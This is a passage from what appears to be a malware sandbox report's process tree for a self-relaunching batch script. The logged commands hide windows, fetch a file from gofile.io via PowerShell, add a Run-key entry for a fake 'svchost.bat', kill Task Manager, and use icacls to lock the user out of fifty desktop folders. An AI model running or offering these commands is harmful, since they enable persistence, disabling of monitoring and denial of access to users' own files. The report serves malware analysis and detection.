  PID:2384
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder44" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2416
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder44" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4240
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder45" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:412
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder45" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4048
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder46" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4944
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder46" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3672
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder47" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder47" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:3056
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder48" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2148
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder48" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1500
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder49" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1480
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder49" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:876
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder50" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2404
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder50" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4404
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:1044
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:4040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://store-na-phx-5.gofile.io/download/web/7ebbb6f4-a537-4208-ad4a-48a914b785b3/301f696501829af4a3a58dccffc4cbb6_0_42700000.mp4' -OutFile 'C:\Users\Admin\Desktop\system_video.mp4' -UseBasicParsing -TimeoutSec 60"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2312
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:916
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:652
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2140
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:3424
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4780
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:2308
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:3236
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:776
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:4596
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3556
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:2000
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2832
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:3524
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3376
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:692
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1336
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:4340
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3648
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:3360
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3288
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:4356
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:4536
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4116
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:568
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:872
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:1600
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2968
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:1408
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1744
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:4460
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3620
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:4000
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4452
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:4736
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4508
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:3424
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3236
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:4400
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1436
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:1440
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2660
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:1636
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      Modifies file permissions
      PID:1564
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:1640
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:4544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:1792
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:1600
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3368
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
      4⤵
      PID:4892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4764
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
      4⤵
      PID:4676
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2384
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
      4⤵
      PID:4380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3576
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
      4⤵
      PID:4880
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4188
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
      4⤵
      PID:1952
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1440
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
      4⤵
      PID:1672
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
      4⤵
      PID:112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4464
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
      4⤵
      PID:4828
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4240
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
      4⤵
      PID:2380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2984
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
      4⤵
      PID:1028
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1092
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
      4⤵
      PID:4032
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2312
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
      4⤵
      PID:4880
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1540
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
      4⤵
      PID:2660
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
      4⤵
      PID:3544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3460
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
      4⤵
      PID:3192
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1056
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
      4⤵
      PID:2456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1852
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
      4⤵
      PID:4000
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2768
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /setowner "Admin" /t
      4⤵
      PID:3320
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4660
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /setowner "Admin" /t
      4⤵
      PID:4904
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4676
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /setowner "Admin" /t
      4⤵
      PID:1428
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1672
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /setowner "Admin" /t
      4⤵
      PID:112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3520
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /setowner "Admin" /t
      4⤵
      PID:2416
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3620
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /setowner "Admin" /t
      4⤵
      PID:4760
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2484
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /setowner "Admin" /t
      4⤵
      PID:4188
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4492
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:2224
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:4116
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:2112
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:2708
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1564
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:4288
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:3192
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
        6⤵
        
        PID:1440
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1940
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
        6⤵
        
        PID:3916
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4120
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
        6⤵
        
        PID:4620
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1168
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
        6⤵
        
        PID:4280
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:3440
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
        6⤵
        
        PID:1424
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:3784
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
        6⤵
        
        PID:1656
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:4004
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
        6⤵
        
        PID:692
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:3420
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
        6⤵
        
        PID:4736
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:2708
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
        6⤵
        
        PID:2832
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:1640
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
        6⤵
        
        PID:2660
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5356
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
        6⤵
        
        PID:5636
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5832
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
        6⤵
        
        PID:5988
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5164
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
        6⤵
        
        PID:5296
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5424
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
        6⤵
        
        PID:5896
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6032
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
        6⤵
        
        PID:5260
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5276
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
        6⤵
        
        PID:5448
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5752
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
        6⤵
        
        PID:5724
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5512
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
        6⤵
        
        PID:5792
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5976
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
        6⤵
        
        PID:5792
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5100
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
        6⤵
        
        PID:2172
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:2856
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
        6⤵
        
        PID:5240
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5724
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
        6⤵
        
        PID:1108
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5460
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
        6⤵
        
        PID:5432
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5532
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
        6⤵
        
        PID:6452
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:6712
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
        6⤵
        
        PID:7120
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:4764
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:4760
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      PID:2972
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:4792
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5316
      - C:\Windows\system32\reg.exe
        
